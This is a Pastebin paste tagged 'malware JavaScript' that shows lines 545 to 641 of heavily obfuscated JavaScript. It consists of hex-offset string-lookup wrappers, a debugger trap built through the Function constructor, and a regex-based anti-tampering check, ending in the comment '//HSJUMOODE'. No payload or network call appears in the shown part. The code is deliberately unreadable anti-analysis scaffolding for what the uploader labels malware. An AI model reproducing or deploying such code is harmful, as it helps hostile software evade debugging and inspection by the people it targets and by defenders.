  545.                             }[Er(-0x162, -0x1a1, -0x1a6, -0x15c, -0x16c, -0x189, -0x19c)](W[EJ(0x16d, 0x19d, 0x1a8, 0x1c5, 0x1a5, 0x1b1, 0x1c3)] + Ee(-0x111, -0xf5, -0xe0, -0xed, -0x10d, -0x11c, -0xbc))[ED(0x3dc, 0x3ab, 0x3cd, 0x3ea, 0x3da, 0x3ac, 0x3a9)](EJ(0x1ef, 0x1c0, 0x1b1, 0x1d1, 0x1cd, 0x19c, 0x195)));
  546.                         }
  547.                     } else {
  548.                         if (W[Ee(-0x115, -0xc4, -0xcb, -0xf0, -0x101, -0x107, -0xd5)] !== 'eEfTx') {
  549.                             (function () {
  550.                                 function Ez(b, W, B, N, q, m, e) {
  551.                                     return ED(B - -0x4be, W - 0x14b, B - 0xc4, W, q - 0x113, m - 0x105, e - 0x1b4);
  552.                                 }
  553.                                 var I = {
  554.                                     'wWTHo': function (D) {
  555.                                         return W['RguDL'](D);
  556.                                     }
  557.                                 };
  558.                                 function Eu(b, W, B, N, q, m, e) {
  559.                                     return EZ(b - 0x19e, W - 0x168, B - 0x81, N - 0x126, q - 0x1b7, m - 0xdf, N);
  560.                                 }
  561.                                 function Eh(b, W, B, N, q, m, e) {
  562.                                     return Er(b - 0x110, W - 0x67, b, N - 0x4d, q - 0x173, W - 0x42c, e - 0x8d);
  563.                                 }
  564.                                 if (W[Ez(-0xce, -0x10c, -0x105, -0x134, -0x106, -0xf0, -0x10f)](Eu(-0xb6, -0x82, -0x9d, -0xaf, -0x51, -0xb7, -0x6f), W[Eu(-0xce, -0xa3, -0xb0, -0x7d, -0x6c, -0x9e, -0xab)])) {
  565.                                     return ![];
  566.                                 } else {
  567.                                     I['wWTHo'](W);
  568.                                 }
  569.                             }[Er(-0x159, -0x171, -0x19b, -0x191, -0x195, -0x189, -0x187)]('debu' + W[EJ(0x1af, 0x196, 0x167, 0x183, 0x17b, 0x1bd, 0x18b)])[EG(-0x278, -0x270, -0x257, -0x26e, -0x23b, -0x230, -0x252)](W[Er(-0x16b, -0x161, -0x1ad, -0x1a4, -0x1a2, -0x176, -0x154)]));
  570.                         } else {
  571.                             return ![];
  572.                         }
  573.                     }
  574.                 } else {
  575.                     q['ZXYKK'](W, 0x0);
  576.                 }
  577.             }
  578.             B(++N);
  579.         } else {
  580.             var Z = {
  581.                 'pYymh': q['exPOH'],
  582.                 'IxZcP': Er(-0x14e, -0x140, -0x134, -0x134, -0x163, -0x15c, -0x164),
  583.                 'kWlXl': function (G, r) {
  584.                     return q['eSdVT'](G, r);
  585.                 },
  586.                 'IpBML': function (G, r) {
  587.                     return q['RTXbT'](G, r);
  588.                 },
  589.                 'UJXkI': q[Ed(-0x396, -0x341, -0x366, -0x369, -0x38c, -0x365, -0x376)],
  590.                 'TDDLu': function (G) {
  591.                     function EF(b, W, B, N, q, m, e) {
  592.                         return Er(b - 0x8e, W - 0xce, e, N - 0x102, q - 0x7f, q - 0x4f2, e - 0xb1);
  593.                     }
  594.                     return q[EF(0x39e, 0x3b6, 0x3cf, 0x375, 0x39d, 0x3c7, 0x3ac)](G);
  595.                 }
  596.             };
  597.             m(this, function () {
  598.                 var F = new Z(Z[El(0x14a, 0x13d, 0x102, 0x130, 0xfc, 0x135, 0x158)]);
  599.                 var l = new G(Z['IxZcP'], 'i');
  600.                 function ER(b, W, B, N, q, m, e) {
  601.                     return EZ(b - 0x199, m - 0x1ea, B - 0xae, N - 0x15b, q - 0xb4, m - 0x52, B);
  602.                 }
  603.                 function Eo(b, W, B, N, q, m, e) {
  604.                     return EJ(b - 0x1bf, b - -0x4b6, B - 0x1b9, N - 0x116, q - 0x12c, m - 0xd9, e);
  605.                 }
  606.                 function El(b, W, B, N, q, m, e) {
  607.                     return EG(b - 0xd1, W - 0x1a3, B - 0x1b9, N - 0x10e, m, m - 0x163, N - 0x3b7);
  608.                 }
  609.                 function Ep(b, W, B, N, q, m, e) {
  610.                     return EZ(b - 0x154, e - 0x5c3, B - 0x8b, N - 0x19, q - 0x9f, m - 0x87, N);
  611.                 }
  612.                 var R = Z['kWlXl'](r, ER(0x1a, -0x1, 0xa, 0x11, -0x24, -0x10, -0xd));
  613.                 if (!F[El(0x17d, 0x167, 0x161, 0x14c, 0x182, 0x14c, 0x168)](R + 'chain') || !l['test'](Z[Eo(-0x2bd, -0x299, -0x289, -0x29d, -0x2ad, -0x294, -0x2ae)](R, Z['UJXkI']))) {
  614.                     R('0');
  615.                 } else {
  616.                     Z['TDDLu'](v);
  617.                 }
  618.             })();
  619.         }
  620.     }
  621.     try {
  622.         if (b) {
  623.             if (W[EW(-0x24e, -0x209, -0x22c, -0x1ff, -0x224, -0x22f, -0x224)]('naPSm', W['qrCPF'])) {
  624.                 return W;
  625.             } else {
  626.                 return B;
  627.             }
  628.         } else {
  629.             if (W[EY(-0x72, -0x4d, -0x76, -0x88, -0x84, -0x6b, -0x7b)](W[EB(-0x30b, -0x2ec, -0x2d8, -0x2b6, -0x30d, -0x2ea, -0x2a1)], W[Eq(-0x326, -0x303, -0x2df, -0x303, -0x313, -0x2f8, -0x2e5)])) {
  630.                 (function () {
  631.                     return !![];
  632.                 }[Em(0xe6, 0xb7, 0xce, 0xbb, 0x9d, 0xe1, 0xc4)](W['hvuUh'](W[EN(-0x267, -0x267, -0x27a, -0x26e, -0x26c, -0x25f, -0x24a)], W[EY(-0xd1, -0xd9, -0xb8, -0xe8, -0x8f, -0xb1, -0xc9)]))[Eb(-0x36a, -0x344, -0x340, -0x352, -0x31b, -0x338, -0x360)](Eb(-0x32e, -0x350, -0x316, -0x337, -0x349, -0x31d, -0x35e)));
  633.             } else {
  634.                 B(0x0);
  635.             }
  636.         }
  637.     } catch (m) {
  638.     }
  639. }
  640. //HSJUMOODE
  641.  
Tags: malware JavaScript
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!